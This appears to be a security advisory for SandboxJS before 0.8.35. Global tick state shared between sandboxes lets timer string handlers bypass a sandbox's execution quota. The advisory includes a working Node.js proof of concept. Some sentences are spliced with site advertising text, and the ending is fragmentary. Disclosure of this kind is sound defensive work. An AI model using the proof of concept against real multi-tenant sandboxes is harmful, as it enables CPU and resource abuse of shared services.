| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| sandboxjs | < 0.8.35 | 0.8.35 |
| @nyariv/sandboxjs | < 0.8.35 | 0.8.35 |
Assumed repo path is /Users/zwique/Downloads/SandboxJS-0.8.34 (no /Users/zwique/Downloads/SandboxJS found). A global tick state (currentTicks.current) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite currentTicks.current between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.
Impact: execution quota bypass → CPU/resource abuse
SandboxJS-0.8.34 at /Users/zwique/Downloads/SandboxJS-0.8.34/src/eval.ts — sandboxFunction binds ticks using ticks || currentTicks.current:
createFunction(..., ticks || currentTicks.current, { ...context, ... })
Relevant lines: 44, 53, 164, 167.
/src/evaluator.ts / /src/executor.ts — global ticks:
export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };
and
_execNoneRecurse(...) { currentTicks.current = ticks; ... }
Relevant lines: ~1700, 1712.
sandboxedSetTimeout compiles string handlers at execution time, not at scheduling time, which lets currentTicks.current be the wrong sandbox's ticks when compilation occurs.
currentTicks.current is global mutable state shared across all sandbox instances.currentTicks.current at that time. If another sandbox runs between scheduling and execution, it can replace currentTicks.current. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンRun with Node.js; adjust path if needed.
// PoC (run with node); adjust path if needed
import Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';
const globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };
const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;
const sandboxA = new Sandbox({
globals,
prototypeWhitelist,
executionQuota: 50n,
haltOnSandboxError: true,
});
let haltedA = false;
sandboxA.subscribeHalt(() => { haltedA = true; });
const sandboxB = new Sandbox({ globals, prototypeWhitelist });
// Sandbox A schedules a heavy string handler
sandboxA.compile(
'setTimeout("let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;", 0);'
)().run();
// Run sandbox B before A's timer fires
sandboxB.compile('1+1')().run();
setTimeout(() => {
console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });
}, 50);
Place the PoC in hi.js and run:
node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js
Observe output similar to:
{ haltedA: false, doneA: true }
This indicates the heavy loop completed and the quota was bypassed.
Remove the sandboxB.compile('1+1')().run(); line and rerun. Output should now be:
{ haltedA: true }
This indicates quota enforcement is working correctly.
process / require leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.